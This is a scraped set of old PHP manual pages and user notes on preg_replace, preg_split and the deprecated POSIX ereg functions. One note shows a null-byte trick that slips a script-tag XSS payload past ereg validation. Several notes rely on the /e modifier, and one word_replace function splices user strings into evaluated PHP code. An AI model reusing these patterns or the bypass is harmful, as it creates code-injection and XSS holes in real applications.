Note that most user examples on php.net I have read, only replace selected characters, such as single and double quotes. This replaces all high characters, including greek characters, arabian characters, smilies, whatever.

It took me ages to get it just downto two regular expressions, but it handles all high level characters properly.

<?php
$text = preg_replace('/([\xc0-\xdf].)/se', "'&#' . ((ord(substr('$1', 0, 1)) - 192) * 64 + (ord(substr('$1', 1, 1)) - 128)) . ';'", $text);
$text = preg_replace('/([\xe0-\xef]..)/se', "'&#' . ((ord(substr('$1', 0, 1)) - 224) * 4096 + (ord(substr('$1', 1, 1)) - 128) * 64 + (ord(substr('$1', 2, 1)) - 128)) . ';'", $text);
?>
gabe at mudbuginfo dot com 18-Oct-2004 01:39
It is useful to note that the 'limit' parameter, when used with 'pattern' and 'replace' which are arrays, applies to each individual pattern in the patterns array, and not the entire array.
<?php

$pattern = array('/one/', '/two/');
$replace = array('uno', 'dos');
$subject = "test one, one two, one two three";

echo preg_replace($pattern, $replace, $subject, 1);
?>

If limit were applied to the whole array (which it isn't), it would return:
test uno, one two, one two three

However, in reality this will actually return:
test uno, one dos, one two three
steven -a-t- acko dot net 08-Feb-2004 09:45
People using the /e modifier with preg_replace should be aware of the following weird behaviour. It is not a bug per se, but can cause bugs if you don't know it's there.

The example in the docs for /e suffers from this mistake in fact.

With /e, the replacement string is a PHP expression. So when you use a backreference in the replacement expression, you need to put the backreference inside quotes, or otherwise it would be interpreted as PHP code. Like the example from the manual for preg_replace:

preg_replace("/(<\/?)(\w+)([^>]*>)/e",
             "'\\1'.strtoupper('\\2').'\\3'",
             $html_body);

To make this easier, the data in a backreference with /e is run through addslashes() before being inserted in your replacement expression. So if you have the string

 He said: "You're here"

It would become:

 He said: \"You\'re here\"

...and be inserted into the expression.
However, if you put this inside a set of single quotes, PHP will not strip away all the slashes correctly! Try this:

 print ' He said: \"You\'re here\" ';
 Output: He said: \"You're here\"

This is because the sequence \" inside single quotes is not recognized as anything special, and it is output literally.

Using double-quotes to surround the string/backreference will not help either, because inside double-quotes, the sequence \' is not recognized and also output literally. And in fact, if you have any dollar signs in your data, they would be interpreted as PHP variables. So double-quotes are not an option.

The 'solution' is to manually fix it in your expression. It is easiest to use a separate processing function, and do the replacing there (i.e. use "my_processing_function('\\1')" or something similar as replacement expression, and do the fixing in that function).

If you surrounded your backreference by single-quotes, the double-quotes are corrupt:
$text = str_replace('\"', '"', $text);

People using preg_replace with /e should at least be aware of this.

I'm not sure how it would be best fixed in preg_replace. Because double-quotes are a really bad idea anyway (due to the variable expansion), I would suggest that preg_replace's auto-escaping is modified to suit the placement of backreferences inside single-quotes (which seemed to be the intention from the start, but was incorrectly applied).
thewolf at pixelcarnage dot com 23-Oct-2003 07:38
I got sick of trying to replace just a word, so I decided I would write my own string replacement code. When that code because far to big and a little faulty I decided to use a simple preg_replace:

<?php
/**
 * Written by Rowan Lewis
 * $search(string), the string to be searched for
 * $replace(string), the string to replace $search
 * $subject(string), the string to be searched in
 */
function word_replace($search, $replace, $subject) {
    return preg_replace('/[a-zA-Z]+/e', '\'\0\' == \'' . $search . '\' ? \'' . $replace . '\': \'\0\';', $subject);
}
?>

I hope that this code helpes someone!
preg_replace_callback
preg_split
PCRE Functions


Split string by a regular expression

preg_replace
POSIX Regex
PCRE Functions
PHP Manual

preg_split

(PHP 4, PHP 5)

preg_split — Split string by a regular expression

Description

array preg_split ( string $pattern , string $subject [, int $limit = -1 [, int $flags = 0 ]] )

Split the given string by a regular expression.

Parameters

pattern

The pattern to search for, as a string.

subject

The input string.

limit

If specified, then only substrings up to limit are returned with the rest of the string being placed in the last substring. A limit of -1, 0 or NULL means "no limit" and, as is standard across PHP, you can use NULL to skip to the flags parameter.

flags

flags can be any combination of the following flags (combined with the | bitwise operator):

PREG_SPLIT_NO_EMPTY
If this flag is set, only non-empty pieces will be returned by preg_split().
PREG_SPLIT_DELIM_CAPTURE
If this flag is set, parenthesized expression in the delimiter pattern will be captured and returned as well.
PREG_SPLIT_OFFSET_CAPTURE

If this flag is set, for every occurring match the appendant string offset will also be returned. Note that this changes the return value in an array where every element is an array consisting of the matched string at offset 0 and its string offset into subject at offset 1.

Return Values

Returns an array containing substrings of subject split along boundaries matched by pattern.

Changelog

Version | Description
4.3.0 | The PREG_SPLIT_OFFSET_CAPTURE was added
4.0.5 | The PREG_SPLIT_DELIM_CAPTURE was added

Examples

Example #1 preg_split() example : Get the parts of a search string

<?php
// split the phrase by any number of commas or space characters,
// which include " ", \r, \t, \n and \f
$keywords = preg_split("/[\s,]+/", "hypertext language, programming");
?>

Example #2 Splitting a string into component characters

<?php
$str = 'string';
$chars = preg_split('//', $str, -1, PREG_SPLIT_NO_EMPTY);
print_r($chars);
?>

Example #3 Splitting a string into matches and their offsets

<?php
$str = 'hypertext language programming';
$chars = preg_split('/ /', $str, -1, PREG_SPLIT_OFFSET_CAPTURE);
print_r($chars);
?>

The above example will output:

Array
(
    [0] => Array
        (
            [0] => hypertext
            [1] => 0
        )

    [1] => Array
        (
            [0] => language
            [1] => 10
        )

    [2] => Array
        (
            [0] => programming
            [1] => 19
        )

)

Notes

Tip

If you don't need the power of regular expressions, you can choose faster (albeit simpler) alternatives like explode() or str_split().

See Also

  • PCRE Patterns
  • implode() - Join array elements with a string
  • preg_match() - Perform a regular expression match
  • preg_match_all() - Perform a global regular expression match
  • preg_replace() - Perform a regular expression search and replace
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

w o z 2 2 a t y a h o o d o t c o m 23-Aug-2011 03:42
PREG_SPLIT_OFFSET_CAPTURE should be maintained for UTF-8 characters, because it produces wrong results as if it is using strlen() internally, instead of using mb_strlen(), which is the right one...
david dot binovec at gmail dot com 26-Jun-2011 06:38
Limit = 1 may be confusing. The important thing is that in case of limit equals to 1 will produce only ONE substring. Ergo the only one substring will be the first one as well as the last one. Tnat the rest of the string (after the first delimiter) will be placed to the last substring. But last is the first and only one.

<?php

$output = $preg_split('(/ /)', '1 2 3 4 5 6 7 8', 1);

echo $output[0] //will return whole string!;

$output = $preg_split('(/ /)', '1 2 3 4 5 6 7 8', 2);

echo $output[0] //will return 1;
echo $output[1] //will return '2 3 4 5 6 7 8';

?>
eric at clarinova dot com 24-Jun-2011 03:04
Here is another way to split a CamelCase string, which is a simpler expression than the one using lookaheads and lookbehinds:

preg_split('/([[:upper:]][[:lower:]]+)/', $last, null, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY)

It makes the entire CamelCased word the delimiter, then returns the delimiters (PREG_SPLIT_DELIM_CAPTURE) and omits the empty values between the delimiters (PREG_SPLIT_NO_EMPTY)
PhoneixSegovia at gmail dot com 26-Nov-2010 04:38
You must be caution when using lookbehind to a variable match.
For example:
'/(?<!\\\)\r?\n)/'
 to match a new line when not \ is before it don't go as spected as it match \r as the lookbehind (becouse isn't a \) and is optional before \n.

You must use this for example:
'/((?<!\\\|\r)\n)|((?<!\\\)\r\n)/'
That match a alone \n (not preceded by \r or \) or a \r\n not preceded by a \.
Daniel Schroeder 03-Nov-2010 03:46
If you want to split by a char, but want to ignore that char in case it is escaped, use a lookbehind assertion.

In this example a string will be split by ":" but "\:" will be ignored:

<?php
$string='a:b:c\:d';
$array=preg_split('#(?<!\\\)\:#',$string);
print_r($array);
?>

Results into:

Array
(
    [0] => a
    [1] => b
    [2] => c\:d
)
sergei dot garrison at gmail dot com 05-Mar-2010 08:04
If you need to split a list of "tags" while allowing for user error, you'll find this more useful than the manual's first example.

<?php
$string = 'one, two,three,     four  , five,six seven';
$array = preg_split("/[\s]*[,][\s]*/", $string);
print_r($array);
// Array ( [0] => one [1] => two [2] => three [3] => four [4] => five [5] => six seven )
?>

This splits the string *only* by commas, regardless of how many spaces there are on either side of any comma.
nesbert at gmail dot com 28-Jan-2010 03:46
Hope this helps someone...

<?php
/**
 * Split a string into groups of words with a line no longer than $max
 * characters.
 *
 * @param string $string
 * @param integer $max
 * @return array
 **/
function split_words($string, $max = 1)
{
    $words = preg_split('/\s/', $string);
    $lines = array();
    $line = '';

    foreach ($words as $k => $word) {
        $length = strlen($line . ' ' . $word);
        if ($length <= $max) {
            $line .= ' ' . $word;
        } else if ($length > $max) {
            if (!empty($line)) $lines[] = trim($line);
            $line = $word;
        } else {
            $lines[] = trim($line) . ' ' . $word;
            $line = '';
        }
    }
    $lines[] = ($line = trim($line)) ? $line : $word;

    return $lines;
}
?>
jan dot sochor at icebolt dot info 24-Oct-2009 03:26
Sometimes PREG_SPLIT_DELIM_CAPTURE does strange results.

<?php
$content = '<strong>Lorem ipsum dolor</strong> sit <img src="test.png" />amet <span class="test" style="color:red">consec<i>tet</i>uer</span>.';
$chars = preg_split('/<[^>]*[^\/]>/i', $content, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($chars);
?>
Produces:
Array
(
    [0] => Lorem ipsum dolor
    [1] =>  sit <img src="test.png" />amet
    [2] => consec
    [3] => tet
    [4] => uer
)

So that the delimiter patterns are missing. If you wanna get these patters remember to use parentheses.

<?php
$chars = preg_split('/(<[^>]*[^\/]>)/i', $content, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($chars); //parentheses added
?>
Produces:
Array
(
    [0] => <strong>
    [1] => Lorem ipsum dolor
    [2] => </strong>
    [3] =>  sit <img src="test.png" />amet
    [4] => <span class="test" style="color:red">
    [5] => consec
    [6] => <i>
    [7] => tet
    [8] => </i>
    [9] => uer
    [10] => </span>
    [11] => .
)
php at dmi dot me dot uk 06-Oct-2009 01:23
To split a camel-cased string using preg_split() with lookaheads and lookbehinds:

<?php
function splitCamelCase($str) {
  return preg_split('/(?<=\\w)(?=[A-Z])/', $str);
}
?>
Peter -the pete- de Pijd 24-Sep-2009 02:34
If you want to use something like explode(PHP_EOL, $string) but for all combinations of \r and \n, try this one:

<?php
$text = "A\nB\rC\r\nD\r\rE\n\nF";
$texts = preg_split("/((\r(?!\n))|((?<!\r)\n)|(\r\n))/", $text);
?>

result:
array("A", "B", "C", "D", "", "E", "", "F");
buzoganylaszlo at yahoo dot com 01-Aug-2009 12:57
Extending m.timmermans's solution, you can use the following code as a search expression parser:

<?php
$search_expression = "apple bear \"Tom Cruise\" or 'Mickey Mouse' another word";
$words = preg_split("/[\s,]*\\\"([^\\\"]+)\\\"[\s,]*|" . "[\s,]*'([^']+)'[\s,]*|" . "[\s,]+/", $search_expression, 0, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
print_r($words);
?>

The result will be:
Array
(
    [0] => apple
    [1] => bear
    [2] => Tom Cruise
    [3] => or
    [4] => Mickey Mouse
    [5] => another
    [6] => word
)

1. Accepted delimiters: white spaces (space, tab, new line etc.) and commas.

2. You can use either simple (') or double (") quotes for expressions which contains more than one word.
wf 28-May-2009 09:36
Spacing out your CamelCase using preg_replace:

<?php

function spacify($camel, $glue = ' ') {
    return preg_replace( '/([a-z0-9])([A-Z])/', "$1$glue$2", $camel );
}

echo spacify('CamelCaseWords'), "\n"; // 'Camel Case Words'
echo spacify('camelCaseWords'), "\n"; // 'camel Case Words'

?>
chris AT cmbuckley DOT co DOT uk 27-May-2009 03:11
Here's a helpful function to space out your CamelCase using preg_split:

<?php

function spacify($camel, $glue = ' ') {
    return $camel[0] . substr(implode($glue, array_map('implode', array_chunk(preg_split('/([A-Z])/',
        ucfirst($camel), -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE), 2))), 1);
}

echo spacify('CamelCaseWords'); // 'Camel Case Words'
echo spacify('camelCaseWords'); // 'camel Case Words'

?>
kenorb at gmail dot com 23-May-2009 07:56
If you need convert function arguments without default default values and references, you can try this code:

<?php
    $func_args = '$node, $op, $a3 = NULL, $form = array(), $a4 = NULL'
    $call_arg = preg_match_all('@(?<func_arg>\$[^,= ]+)@i', $func_args, $matches);
    $call_arg = implode(',', $matches['func_arg']);
?>
Result: string = "$node,$op,$a3,$form,$a4"
bit_kahuna at yahoo dot com 27-Mar-2009 11:02
how to display a shortened text string with an elipsis, but on word boundaries only.

<?php
function truncate($string, $max = 70, $rep = '...') {

    $words = preg_split("/[\s]+/", $string);

    $newstring = '';
    $numwords = 0;

    foreach ($words as $word) {
        if ((strlen($newstring) + 1 + strlen($word)) < $max) {
            $newstring .= ' '.$word;
            ++$numwords;
        } else {
            break;
        }
    }

    if ($numwords < count($words)) {
        $newstring .= $rep;
    }

    return $newstring;
}
?>

hope this helps someone!  thanks for all the help from everyone else!!
csaba at alum dot mit dot edu 17-Mar-2009 01:06
If the task is too complicated for preg_split, preg_match_all might come in handy, since preg_split is essentially a special case.

I wanted to split a string on a certain character (asterisk), but only if it wasn't escaped (by a preceding backslash).  Thus, I should ensure an even number of backslashes before any asterisk meant as a splitter.  Look-behind in a regular expression wouldn't work since the length of the preceding backslash sequence can't be fixed.  So I turned to preg_match_all:

<?php
// split a string at unescaped asterisks
// where backslash is the escape character
$splitter = "/\\*((?:[^\\\\*]|\\\\.)*)/";
preg_match_all($splitter, "*$string", $aPieces, PREG_PATTERN_ORDER);
$aPieces = $aPieces[1];

// $aPieces now contains the exploded string
// and unescaping can be safely done on each piece
foreach ($aPieces as $idx=>$piece)
  $aPieces[$idx] = preg_replace("/\\\\(.)/s", "$1", $piece);
?>
anajilly 17-Jul-2008 01:17
<?php
$s = '<p>bleh blah</p><p style="one">one two three</p>';

$htmlbits = preg_split('/(<p( style="[-:a-z0-9 ]+")?>|<\/p>)/i', $s, -1, PREG_SPLIT_DELIM_CAPTURE);

print_r($htmlbits);
?>

Array
(
    [0] =>
    [1] => <p>
    [2] => bleh blah
    [3] => </p>
    [4] =>
    [5] => <p style="one">
    [6] =>  style="one"
    [7] => one two three
    [8] => </p>
    [9] =>
)

two interesting bits:

1. When using PREG_SPLIT_DELIM_CAPTURE, if you use more than one pair of parentheses, the result array can have members representing all pairs.  See array indexes 5 and 6 to see two adjacent delimiter results in which the second is a subset match of the first.

2. If a parenthesised sub-expression is made optional by a following question mark (ex: '/abc (optional subregex)?/') some split delimiters may be captured in the result while others are not.  See array indexes 1 and 2 to see an instance where the overall match succeeded and returned a delimiter while the optional sub-expression '( style="[-:a-z0-9 ]+")?' did not match, and did not return a delimiter.  This means it's possible to have a result with an unpredictable number of delimiters in the result array.

This second aspect is true irrespective of the number of pairs of parentheses in the regex.  This means: in a regular expression with a single optional parenthesised sub-expression, the overall expression can match without generating a corresponding delimiter in the result.
m dot timmermans at home dot NOSPAM dot nl 29-May-2008 03:56
For people who want to use the double quote to group words/fields, kind of like CSV does, you can use the following expression:
<?php
$keywords = preg_split( "/[\s,]*\\\"([^\\\"]+)\\\"[\s,]*|[\s,]+/", "textline with, commas and \"quoted text\" inserted", 0, PREG_SPLIT_DELIM_CAPTURE );
?>
Which will result in:
Array
(
    [0] => textline
    [1] => with
    [2] => commas
    [3] => and
    [4] => quoted text
    [5] => inserted
)
crispytwo at yahoo dot com 04-Sep-2007 01:29
I was having trouble getting the PREG_SPLIT_DELIM_CAPTURE flag to work because I missed reading the "parenthesized expression" in the documentation :-(

So the pattern should look like:
/(A)/
not just
/A/
and it works as described/expected.
Steve 23-Mar-2005 08:41
preg_split() behaves differently from perl's split() if the string ends with a delimiter. This perl snippet will print 5:

my @a = split(/ /, "a b c d e ");
print scalar @a;

The corresponding php code prints 6:

<?php print count(preg_split("/ /", "a b c d e ")); ?>

This is not necessarily a bug (nowhere does the documentation say that preg_split() behaves the same as perl's split()) but it might surprise perl programmers.
jetsoft at iinet.net.au 25-Sep-2004 08:01
To clarify the "limit" parameter and the PREG_SPLIT_DELIM_CAPTURE option,

<?php
$preg_split('(/ /)', '1 2 3 4 5 6 7 8', 4 ,PREG_SPLIT_DELIM_CAPTURE );
?>

returns:

('1', ' ', '2', ' ' , '3', ' ', '4 5 6 7 8')

So you actually get 7 array items not 4
dave at codewhore dot org 29-May-2002 12:01
The above description for PREG_SPLIT_OFFSET_CAPTURE may be a bit confusing.

When the flag is or'd into the 'flags' parameter of preg_split, each match is returned in the form of a two-element array. For each of the two-element arrays, the first element is the matched string, while the second is the match's zero-based offset in the input string.

For example, if you called preg_split like this:

preg_split('/foo/', 'matchfoomatch', -1, PREG_SPLIT_OFFSET_CAPTURE);

it would return an array of the form:

Array(
  [0] => Array([0] => "match", [1] => 0),
  [1] => Array([1] => "match", [1] => 8)
)

Note that or'ing in PREG_DELIM_CAPTURE along with PREG_SPLIT_OFFSET_CAPTURE works as well.
preg_replace
POSIX Regex
PCRE Functions


Regular Expression (POSIX Extended)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • POSIX Regex Functions
    • ereg_replace — Replace regular expression
    • ereg — Regular expression match
    • eregi_replace — Replace regular expression case insensitive
    • eregi — Case insensitive regular expression match
    • split — Split string into array by regular expression
    • spliti — Split string into array by regular expression case insensitive
    • sql_regcase — Make regular expression for case insensitive match

User Contributed Notes

arekm 04-Dec-2011 11:23
If you switch to PCRE world functions note that pcre doesn't support UTF-8 well.

There are limitations - read "POSIX CHARACTER CLASSES" or "UNICODE CHARACTER PROPERTY SUPPORT" chapter at http://www.pcre.org/pcre.txt.
Ray dot Paseur at Gmail dot com 28-Oct-2011 02:04
The POSIX functions are deprecated.  Instead of the "ereg" collection you want to use something from the PCRE world.
http://www.php.net/manual/en/book.pcre.php
preg_split
Introduction
Text Processing


Introduction

Tip

PHP also supports regular expressions using a Perl-compatible syntax using the PCRE functions. Those functions support non-greedy matching, assertions, conditional subpatterns, and a number of other features not supported by the POSIX-extended regular expression syntax.

Warning

These regular expression functions are not binary-safe. The PCRE functions are.

Note:

As of PHP 5.3.0 this extension is deprecated, calling any function provided by this extension will issue an E_DEPRECATED notice.

Regular expressions are used for complex string manipulation. PHP uses the POSIX extended regular expressions as defined by POSIX 1003.2. For a full description of POSIX regular expressions see the » regex man pages included in the regex directory in the PHP distribution. It's in manpage format, so you'll want to do something along the lines of man /usr/local/src/regex/regex.7 in order to read it.

User Contributed Notes

There are no user contributed notes for this page.
POSIX Regex
Installing/Configuring
POSIX Regex


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
POSIX Regex


Installation

Warning

Do not change the TYPE unless you know what you are doing.

To enable regexp support configure PHP --with-regex[=TYPE] . TYPE can be one of system, apache, php. The default value is php.

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
POSIX Regex


Examples

Example #1 Regular Expression Examples

<?php
// Returns true if "abc" is found anywhere in $string.
ereg("abc", $string);

// Returns true if "abc" is found at the beginning of $string.
ereg("^abc", $string);

// Returns true if "abc" is found at the end of $string.
ereg("abc$", $string);

// Returns true if client browser is Netscape 2, 3 or MSIE 3.
eregi("(ozilla.[23]|MSIE.3)", $_SERVER["HTTP_USER_AGENT"]);

// Places three space separated words into $regs[1], $regs[2] and $regs[3].
ereg("([[:alnum:]]+) ([[:alnum:]]+) ([[:alnum:]]+)", $string, $regs);

// Put a <br /> tag at the beginning of $string.
$string = ereg_replace("^", "<br />", $string);

// Put a <br /> tag at the end of $string.
$string = ereg_replace("$", "<br />", $string);

// Get rid of any newline characters in $string.
$string = ereg_replace("\n", "", $string);
?>

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
POSIX Regex Functions
POSIX Regex


POSIX Regex Functions

See Also

For regular expressions in Perl-compatible syntax have a look at the PCRE functions. The simpler shell style wildcard pattern matching is provided by fnmatch().

Table of Contents

  • ereg_replace — Replace regular expression
  • ereg — Regular expression match
  • eregi_replace — Replace regular expression case insensitive
  • eregi — Case insensitive regular expression match
  • split — Split string into array by regular expression
  • spliti — Split string into array by regular expression case insensitive
  • sql_regcase — Make regular expression for case insensitive match

User Contributed Notes

Edward Z. Yang 01-Apr-2007 10:16
The fact that 'regex' functions are not binary safe have some very important security implications for people who are using ereg to validate their input data.

Suppose I have an expression:

<?php
$pattern = '^[[:alnum:]]*$';
?>

This should match any number of alphanumeric characters, right? Well, if the string you're matching is not binary, sure. However, say we have a null-byte tossed in the string:

<?php
$string = chr(0) . "<script>alert('xss')</script>";
echo ereg($pattern, $string);
?>

Will return true. Note that it is trivially easy to inject null bytes into PHP parameters:

index.php?content=%00ASCII

Scary. So unless you really know what you're doing, just use the PCRE preg_* functions.
nate[-at-]theklaibers[-dot-]com 07-Feb-2006 12:19
I am using a regex with the same thought process in mind as the earlier phone number. However, I have also implemented it to allow the '1' so a number like.

1 222 222 2222 would still be valid as well (along with all of the other combinations.

In my regex, I pull out the matches - not the exact string. So if someone were to forget a bracket, it wouldnt matter to the actual output as it is stripped from that match.

So, if you put in 222) 233 3454, the matches would only pull out 1=>222, 2=>233, 3=>3454

This has been very helpful in tweaking my regex.

Thanks,
Nate
ajd at cloudiness dot com 23-Aug-2005 09:05
A minor tweak to trucex' phone validator, because some people use a dot separator between the area code, exchange and four-digit block.
Posted here for your copy-and-paste convenience.

$regex = '^[(]?[2-9]{1}[0-9]{2}[) -.]{0,2}' . '[0-9]{3}[- .]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';
nothing at nothing dot com 29-Jul-2005 03:35
His regular expression is correct, the ^ is to check for the beginning of the string. It is just looking for delimiter characters, try putting slashes around it.
"/<regex>/"
stringer at stringerstudios dot com 28-Jul-2005 05:07
Hey trucex. Cool phone number function but your $regex produces the following error. Warning: No ending delimiter '^' found

Instead of:
$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';

It think should be:
$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$^';
trucex[at] gmail 27-Jul-2005 11:00
I was having a ton of issues with other people's phone number validation expressions, so I made my own. It works with most US phone numbers, including those with extentions. Format matches any of the following formats:

5551234567
555 1234567
555 123 4567
555 123-4567
555-1234567
555-123-4567
555123-4567
(555)1234567
(555)123 4567
(555)123-4567
(555) 1234567
(555) 123-4567
(555) 123 4567

And any of the following extentions can be added with or without a space between them and the number:
x123
x.123
x. 123
x 123
ext.123
ext. 123
ext 123
ext123

Extentions support between 1 and 5 digits.

Here is the expression:

$regex = '^[(]?[2-9]{1}[0-9]{2}[) -]{0,2}' . '[0-9]{3}[- ]?' . '[0-9]{4}[ ]?' . '((x|ext)[.]?[ ]?[0-9]{1,5})?$';

Enjoy!
annie 08-Sep-2004 05:17
Another nice tutorial about regular expressions: http://www.mkssoftware.com/docs/man5/regexp.5.asp
tgt at tip dot nl 08-Sep-2004 02:17
Tip !
Metacharacters in regular expresions are usefull and easy to use.

The following is a set of special values that denote certain common ranges. They have the advantage that also take in account the 'locale' i.e. any variant of the local language/coding system.

[:digit:]      Only the digits 0 to 9
[:alnum:]      Any alphanumeric character 0 to 9 OR A to Z or a to z.
[:alpha:]       Any alpha character A to Z or a to z.
[:blank:]       Space and TAB characters only.
[:xdigit:]     .
[:punct:]       Punctuation symbols . , " ' ? ! ; :
[:print:]      Any printable character.
[:space:]      Any space characters.
[:graph:]       .
[:upper:]       Any alpha character A to Z.
[:lower:]       Any alpha character a to z.
[:cntrl:]        .
mina86 at tlen dot pl 19-Oct-2003 10:14
I tested how fast POSIX and Perl regular expresions are, and here are the results:

           | POSIX Extended  | Perl-Compatible |   POSIX - Perl
-----------+-----------------+-----------------+-----------------
     match |    0.1296420097 |    0.1006720066 |  0.0289700031
   match i |    0.1204010248 |    0.1101620197 |  0.0102390051
   replace |    0.1896649599 |    0.1298999786 |  0.0597649813
 replace i |   10.6998120546 |    0.1453789473 | 10.5544331074

So, as you can see, preg_* functions are faster then ereg* functions. You can find source code of my test script here: http://mina86.home.staszic.waw.pl/temp/regexp-speed-test.txt
Robin 15-Jan-2003 10:53
Ever wondered how to exclude "[" and "]"?
Here it goes: "[^][]". Extra characters to exclude can beadded right in the middle like this: "[^]fobar[]".
moc DOT liamtoh AT ssengnorw 18-Oct-2002 09:28
In a PCRE \s matches whitespace, but not inside a character class:

preg_match ('/\s/', ' ') // match
preg_match ('/[\s]/', ' ') // no match

Within a character class [:space:] is treated as a single character that matches any single whitespace character:

$pattern = '/[[:space:]]/';
$subject = "space tab\tnewline\n";
preg_match_all($pattern, $subject, $out) // == 3

To match a hyphen from within a character class, it must either be first or last; otherwise, it will act as a range operator.

Example: To match a blank string or a string containing only uppercase letters, underscores, spaces, and hyphens:

preg_match('/^[A-Z_ -]*$/', $subject)

To match any whitespace, not just spaces:

preg_match('/^[A-Z_[:space:]-]*$/', $subject)
paper 08-Sep-2002 11:57
I have also experienced the same problem as bps7j@yahoo.com had been experiencing, except I did not recognize the problem until after many hours of debugging.

"\s" does not seem to represent spaces, however "[[:space:]]" does.

Another problem I was having was matching dashes/hyphens '-'. You must escape them "\-" and place them at the end of a bracket expression.

Example: To match a blank string or a string containing only uppercase letters, underscores, spaces, and hyphens:

^([A-Z_\-]|[[:space:]])*$

Hope this saves someone some time from debugging like I was. :)
bps7j at yahoo dot com 21-Aug-2002 07:40
Something that really got me: I'm used to using Perl's regexps, and so I used \s to check for a whitespace character in a password on a website. My PHP book (Wrox Press, Professional PHP Programming) agreed with me that this is exactly the same as [ \r\n\t\f\v], but it's NOT. In fact, what it did was keep anyone from joining the site if they put an 's' in their password! So beware, check for subtle differences between what you're used to and PHP.

[[:space:]] works fine, by the way.

I'm going to use the pcre functions from now on... I like Perl :o)
david at NOgreenhammerSPAM dot com 09-Mar-2002 10:40
Sadly, the Posix regexp evaluator (PHP 4.1.2) does not seem to support multi-character coallating sequences, even though such sequences are included in the man-page documentation.

Specifically, the man-page discusses the expression "[[.ch.]]*c" which matches the first five characters of "chchcc".  Running this expression in ereg_replace generates the error "Warning: REG_ECOLLATE".  (Running an equivalent expression with only one character between the periods does work, however.)

Multi-character coallating sequences are not supported!

This is really, really too bad, because it would have provided a simple way to exlude words from the target.

I'm going to go learn PCRE, now.  :-(
regex at dan42 dot cjb dot net 07-Mar-2002 10:33
Follow-up to my previous post:
Some simple optimization allowed me to realize that excluding a word at the beginning of a string has a degree of complexity O(n) rather than O(n^2). I only had to follow the logic:

if str[0] != badword[0] then OK
else
  if str[1] != badword[1] then OK
  else
    if str[2] != badword[2] then OK
    else ...

So excluding the word 'abc' at the beginning of a string is much more simple than I had made it out to be:
  ^([^a]|a[^b]|ab[^c])
spiceee at potentialvalleys dot com 06-Mar-2002 10:26
sorry to be picky here but saying ^ is beginning of a line or $ is end of line is rather misleading, if you're working on a daily basis with regexes.

it might be that it is most of the time correct BUT in some occasions you'd be better off to think of ^ as "start of string" and $ as "end of string".

there are ways to make your regex engine forget about your system's notion of a newline, it's what is commonly refered to as multiline regexes...
luciano_at_braziliantranslation.net 03-Mar-2002 12:15
mholdgate wrote a very nice quick reference guide in the next page (http://www.php.net/manual/en/function.ereg.php), but I felt it could be improved a little:
________________

^        Start of line
$        End of line
n?        Zero or only one single occurrence of character 'n'
n*        Zero or more occurrences of character 'n'
n+        At least one or more occurrences of character 'n'
n{2}        Exactly two occurrences of 'n'
n{2,}        At least 2 or more occurrences of 'n'
n{2,4}        From 2 to 4 occurrences of 'n'
.        Any single character
()        Parenthesis to group expressions
(.*)        Zero or more occurrences of any single character, ie, anything!
(n|a)        Either 'n' or 'a'
[1-6]        Any single digit in the range between 1 and 6
[c-h]        Any single lower case letter in the range between c and h
[D-M]        Any single upper case letter in the range between D and M
[^a-z]        Any single character EXCEPT any lower case letter between a and z.

        Pitfall: the ^ symbol only acts as an EXCEPT rule if it is the
        very first character inside a range, and it denies the
        entire range including the ^ symbol itself if it appears again
        later in the range. Also remember that if it is the first
        character in the entire expression, it means "start of line".
        In any other place, it is always treated as a regular ^ symbol.
        In other words, you cannot deny a word with ^undesired_word
        or a group with ^(undesired_phrase).
        Read more detailed regex documentation to find out what is
        necessary to achieve this.

[_4^a-zA-Z]    Any single character which can be the underscore or the
        number 4 or the ^ symbol or any letter, lower or upper case

?, +, * and the {} count parameters can be appended not only to a single character, but also to a group() or a range[].

therefore,
^.{2}[a-z]{1,2}_?[0-9]*([1-6]|[a-f])[^1-9]{2}a+$
would mean:

^.{2}         = A line beginning with any two characters,
[a-z]{1,2}     = followed by either 1 or 2 lower case letters,
_?         = followed by an optional underscore,
[0-9]*         = followed by zero or more digits,
([1-6]|[a-f])     = followed by either a digit between 1 and 6 OR a
        lower case letter between a and f,
[^1-9]{2}     = followed by any two characters except digits
        between 1 and 9 (0 is possible),
a+$         = followed by at least one or more
        occurrences of 'a' at the end of a line.
regex at dan42 dot cjb dot net 20-Feb-2002 09:12
It's easy to exclude characters but excluding words with a regular expression is a bit more tricky. For parentheses there is no equivalent to the ^ for brackets. The only way I've found to exclude a string is to proceed by inverse logic: accept all the words that do NOT correspond to the string. So if you want to accept all strings except those _begining_ with "abc", you'd have to accept any string that matches one of the following:
  ^(ab[^c])
  ^(a[^b]c)
  ^(a[^b][^c])
  ^([^a]bc)
  ^([^a]b[^c])
  ^([^a][^b]c)
  ^([^a][^b][^c])

which, put together, gives the regex
  ^(ab[^c]|a[^b]c|a[^b][^c]|[^a]bc|[^a]b[^c]|[^a][^b]c|[^a][^b][^c])

Note that this won't work to detect the word "abc" anywhere in a string. You need to have some way of anchoring the inverse word match
